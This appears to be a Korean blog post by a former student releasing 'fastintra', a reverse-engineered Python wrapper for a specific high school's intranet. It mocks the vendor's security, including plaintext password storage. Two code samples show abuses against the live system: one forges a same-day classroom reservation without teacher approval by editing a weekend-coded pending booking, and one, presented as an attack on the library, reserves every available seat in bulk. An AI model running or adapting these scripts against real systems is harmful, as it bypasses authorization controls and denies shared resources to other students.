- Published on
fastintra 릴리즈, 그리고 학교 이야기 조금
- Authors
- Name
- krrrr

(다양한 프로그래밍 언어나 툴즈에 버튜버스러운 로고를 만드는 게 X(트위터)에서 유행이 된 적이 있다. 궁금하면 찾아보시라)
여는 말
fastintra는 하나고등학교의 인트라넷을 제어하기 위한 도구입니다.
인트라넷이 허접하기 때문에 각종 기예가 가능합니다.
며칠 전에 fastintra
라는 프로젝트를 릴리즈했다. 12기인 내가 무려 현역 고교생일때 만든 건데, 프로젝트에 붙은 먼지도 털고 후배에게 유산도 남기고 하려고 릴리즈하기로 결정했다.
요긴하길 쓰길 바랬었는데, 무려 1기때부터 쓰던 이 누더기 인트라넷은 2025년 2학기부로 새로운 인트라넷이 대체한다고 한다. 뭔가 아쉬우면서도 다행이라고 느껴진다. 그치만 새로운 인트라넷도 bnp21 이라는 동일한 업체가 개발하는데, 구 인트라넷을 상세히 뜯어보고 이리저리 해본 사람의 입장으로서 이 업체가 개발하면 안 되는게 명확하다는 게 개인의견이다. 차라리 우리의 자랑스러운 동아리 Assembly한테 맡기는 게 나은 결과물을 낼 것이다(내가 그 co-founder라는 사람이다).
듣기로는 학생인가 졸업생인가 중에 누군가가 인트라넷 개발계약 따려고 해봤었는데 불가능하다고 리젝 먹었다는데. 자랑스러운 모교의 것이 늘 그렇듯 이것도 수의계약인가 보다.
담당자, 보고 있다면 잘 들어라.
여러번 뚫리고도 취약점 제대로 못 찾은 거 다 안다. 보안 사고 여러 번 쳤으면 솔직히 계약 종료 먹어야 하는게 당연한거 아닌가? 계속 해 먹는걸 다행으로 여겨라.
도대체 누가 서버 설정 그따위로 해놓고 서버를 굴리냐. 기본 책부터 다시 읽고 오시길.
대기업 클라이언트들도 있던데, 그 사람들이 너희 보안 수준을 알면 참 기뻐할 것 같다.
그리고 너네 패스워드 평문으로 저장하더라? 채증다해놓음
흠흠.
전반적으로 하나고의 보안 상태는 개판이긴 한데 (고치기를 원하시면 나를 돈주고 채용하시라 ㅋㅋ) — 이건 나중에 다른 아티클에서 다루겠다.
프로젝트 소개
fastintra
는 하나고등학교의 (2025년 2학기부로 구버전이 되어버린) 인트라넷을 제어하기 위한 래퍼이다. 인트라넷의 ajax
등으로 이루어진 리퀘스트들을 다 따서 한땀한땀 aiohttp
으로 구현했다.
당신이 인트라넷을 이용한 무언가(자동 예약기라던가)를 만들고 싶다면 이 라이브러리만한 게 없을 것이다.
리버싱은 주로 hi.hana.hs.kr
도메인보다 모바일 앱(이라고도하기민망한무언가)의 도메인인 go.hana.hs.kr
를 뜯어서 구현되어 있다. API라고 부를 만하게 구현이 되어 있고, 취약점이 더 많기 때문이다.
덕분에 예약 시간 전에 도서관 예약하기, 시간 지나서 교교 예약하기, 담임선생님 승인 없이 교교 이용하기, 교교 엉뚱하게 예약하기 등등등 이 가능하다. (현재 일부 패치되었을 수 있음)
혹시라도 보고 있을 후배님들에게: 앱 기반이라 인트라넷 바뀌어도 앱이 안 바뀌었으면 그대로 쓸 수 있어요!
말도 안 되는 곡예
For more examples, see /examples
directory in the repo.
1. 평일 늦었을 때 교교 예약하기
# ... 생략 ...
# 1단계: 주말 타임으로 미승인 만들기
tmp_result = await intratools.mobile.classroom.reserve_class(session, weekend_times[weekday_times.index(resv_time)], "A204", "dorm", stu_num, resv_status)
# 2단계: 방금 만든 미승인 예약번호 가져오기
resv_list = await intratools.mobile.classroom.get_cls_resv_list(session, stu_name)
for r in resv_list:
if str(r.user.number) == str(stu_num) and str(r.time) == str(weekend_times[weekday_times.index(resv_time)]):
tmp_id = r.index
# 3단계: 임시 예약 내용 수정하기
await intratools.mobile.classroom.edit_class(session, tmp_id, resv_time, resv_class, resv_teacher_id, stu_num, resv_status)
# 4단계: 결과확인
result = await intratools.mobile.classroom.get_cls_resv_list(session, stu_name)
# ... 생략 ...
평일 늦었을 때 주말 날짜코드로 미승인 만들고, 미승인 예약번호 가져오고, 그 임시 예약을 오늘 내용으로 수정하면 오늘 예약이 된다.
(단, 완벽하지는 않다. 출석부 인쇄할때 안 되서 잘 입을 털어야 한다. '어디에도 없는 사람' 이 되는 셈이다.)
2. 도서관 공격하기
실제 구현에서는 도서관 자리의 예약 가능 여부를 확인하기 위해서 ajax 콜을 여러 엔드포인트로 여러번 한다. fastintra
에서는 그런 쓸데없는검증 따위는 하지 않기 때문에 쉽게 가능하다.
import aiohttp
import asyncio
from intratools import login, library
async def run():
session = aiohttp.ClientSession()
login_result = await login.login(session, 'username', 'password')
weekend_times = [None, 7, 9, 10, 26]
weekday_times = [28, 1, 4]
seat_names = {
"1": 1,
# ... 생략 ...
"2-14": 125,
}
unavail_seat_names = [
"6", "8", "10",
# ... 생략 ...
"1-14"
]
for i in weekday_times:
for j, k in seat_names.items():
if j not in unavail_seat_names:
r = await library.reserve_library(session, k, i)
print(j, r)
# 예약 취소 코드
""" resv_codes = []
res = await library.get_my_library_reserv_status(session)
for j in res:
# print(j)
# if j['available'] == True:
resv_codes.append(j['resv_code'])
print(resv_codes)
for i in resv_codes:
for j in weekday_times:
result = await library.cancel_library(session, j, i)
print(result) """
await session.close()
if __name__ == "__main__":
loop = asyncio.get_event_loop()
loop.run_until_complete(run())


참고로 교과공지게시판에 작성한 것이 깨알 포인트.
큰 힘에는 큰 책임이 따른다
무튼 이런 강력한 래퍼를 여러분에게 공개하기로 했다. 이 코드가 여러분에게 enlightenment를 주길 바란다.
With great power comes great responsibility.
스파이더맨 대사인가? 그것 때문에 유명해진 것 같은데. 리눅스 sudo
칠 때도 나온다. 정말 멋지지 않은가.
어쨌든 이 코드를 책임있게 사용하여야 진실의 방으로 안 불려갈 것이다. 그곳은 좋지 못하다.
인트라넷을 뜯는 자는 계속 나올 것이다. 내 위의 누군가가 그랬고, 내가 그랬고, 내 밑의 누군가가 그러듯이.
그런 의미에서 contributing 을 해 준다면 내가 밥을 사도록 하겠다. 이메일이나 DM으로, 또는 카카오톡 이미 있을 테니까 그걸로 연락하시길.
미래시
- 새 인트라넷에 맞게 리워크 하기
- pip로 클론해 쓸 수 있게 만들기
바이바이!
- 선배가
Comments (0)
No comments yet. Be the first to comment!